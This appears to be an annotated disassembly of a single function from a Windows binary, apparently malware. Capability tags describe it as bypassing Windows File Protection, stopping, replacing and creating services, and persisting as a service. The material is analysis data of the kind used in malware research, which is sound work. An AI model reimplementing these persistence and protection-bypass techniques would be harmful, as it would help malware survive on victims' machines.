Function at 0x401621
Capabilities:
Bypass windows file protection
Create service
Persist via windows service
Query or enumerate registry value
Query service status
Start service
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6f8
and dword [ebp - 0x20], 0
and dword [ebp - 0x3c], 0
and dword [ebp - 0xc], 0
and dword [ebp - 8], 0
and dword [ebp - 0x34], 0
and dword [ebp - 0x24], 0
and dword [ebp - 0x1c], 0
and dword [ebp - 0x18], 0
and dword [ebp - 0x30], 0
and dword [ebp - 0x38], 0
and dword [ebp - 4], 0
and dword [ebp - 0x28], 0
mov eax, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 0x14], eax
mov eax, dword [sym.imp.USER32.dll_wsprintfA]
mov dword [ebp - 0x10], eax
push 0x40c3c4
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x30], eax
push dword [0x410d04]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [ebp - 0x38], eax
push 0
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x3c]
push eax
push 0
call fcn.00401193
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov dword [ebp - 4], eax
cmp dword [ebp - 0x30], 0
je 0x4016c5
cmp dword [0x410f2c], 5
ja 0x4016c5
cmp dword [ebp + 8], 1
jne 0x4016cf
jmp 0x401865
push 5
push dword [ebp - 0x30]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 8], eax
and dword [ebp - 0x2c], 0
and dword [ebp - 0x444], 0
jmp 0x4016f7
mov eax, dword [ebp - 0x444]
inc eax
mov dword [ebp - 0x444], eax
push dword [ebp - 0x444]
push 0
push 0x40
lea eax, [ebp - 0x488]
push eax
call fcn.00402ba2
cmp eax, 0xffffffff
jne 0x40172d
cmp dword [ebp - 0x2c], 0
jne 0x401728
mov dword [ebp - 0x2c], 1
or dword [ebp - 0x444], 0xffffffff
jmp 0x4016ea
jmp 0x401865
push dword [ebp - 0x444]
push 1
push 0x40
lea eax, [ebp - 0x4c8]
push eax
call fcn.00402ba2
push 0x104
push 0
lea eax, [ebp - 0x5f0]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x4c8]
push eax
push 0x410e20
push 0x40c3d0
lea eax, [ebp - 0x5f0]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push 0x4110f0
lea eax, [ebp - 0x4c8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x401795
jmp 0x4016ea
push 0xf01ff
lea eax, [ebp - 0x488]
push eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
jne 0x4017b8
jmp 0x4016ea
push 0x1c
push 0
lea eax, [ebp - 0x4e4]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x4e4]
push eax
push dword [ebp - 0x28]
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
cmp dword [ebp - 0x4e0], 1
je 0x401808
cmp dword [ebp - 0x2c], 0
jne 0x4017ee
jmp 0x401857
lea eax, [ebp - 0x4e4]
push eax
push 1
push dword [ebp - 0x28]
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
jne 0x401808
jmp 0x401857
push dword [ebp - 8]
push dword [ebp - 0x34]
push dword [ebp - 0x3c]
lea eax, [ebp - 0x5f0]
push eax
call fcn.004013ae
test eax, eax
jne 0x401825
jmp 0x401857
push 0
push 0
push dword [ebp - 0x28]
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
cmp eax, 1
jne 0x401857
push 0xfa0
push dword [ebp - 0x38]
call dword [ebp - 0x14]
test eax, eax
jne 0x401857
mov dword [ebp - 0x20], 1
jmp 0x4019e7
push dword [ebp - 0x28]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x4016ea
push 0x400
push 0
lea eax, [ebp - 0x440]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x40c3dc
push dword [0x40eb8c]
push 0x40c3a4
lea eax, [ebp - 0x440]
push eax
call dword [ebp - 0x10]
add esp, 0x10
lea eax, [ebp - 0x18]
push eax
push 1
push 0
lea eax, [ebp - 0x440]
push eax
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [ebp - 0x1c], 0x400
push 0x400
push 0
lea eax, [ebp - 0x440]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x440]
push eax
lea eax, [ebp - 0x24]
push eax
push 0
push 0x40c3e4
push dword [ebp - 0x18]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 0x18]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x440]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
movsx eax, byte [eax]
test eax, eax
je 0x4019e7
push 0x4110f0
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x401922
jmp 0x401900
push 0
push 0
push 0
push 0
push 0
push 0x40c3ec
push 1
push 2
push 0x20
push 0x10
push dword [ebp - 0xc]
push dword [ebp - 0xc]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
je 0x4019c6
push dword [ebp - 0xc]
push 0x410e20
push 0x40c3d0
lea eax, [ebp - 0x6f8]
push eax
call dword [ebp - 0x10]
add esp, 0x10
lea eax, [ebp - 0x6f8]
push eax
push dword [ebp - 0xc]
call fcn.00401570
push dword [ebp - 8]
push dword [ebp - 0x34]
push dword [ebp - 0x3c]
lea eax, [ebp - 0x6f8]
push eax
call fcn.004013ae
test eax, eax
jne 0x401997
jmp 0x4019c6
push 0
push 0
push dword [ebp - 0x28]
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
cmp eax, 1
jne 0x4019c6
push 0xfa0
push dword [ebp - 0x38]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x4019c6
mov dword [ebp - 0x20], 1
jmp 0x4019e7
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [ebp - 0xc]
lea eax, [ecx + eax + 1]
mov dword [ebp - 0xc], eax
push dword [ebp - 0x28]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x401900
push dword [ebp - 0x38]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x28]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
cmp dword [ebp - 0x3c], 0
je 0x401a18
push 0x8000
push 0
push dword [ebp - 0x3c]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push dword [ebp - 0x30]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, dword [ebp - 0x20]
leave
ret 4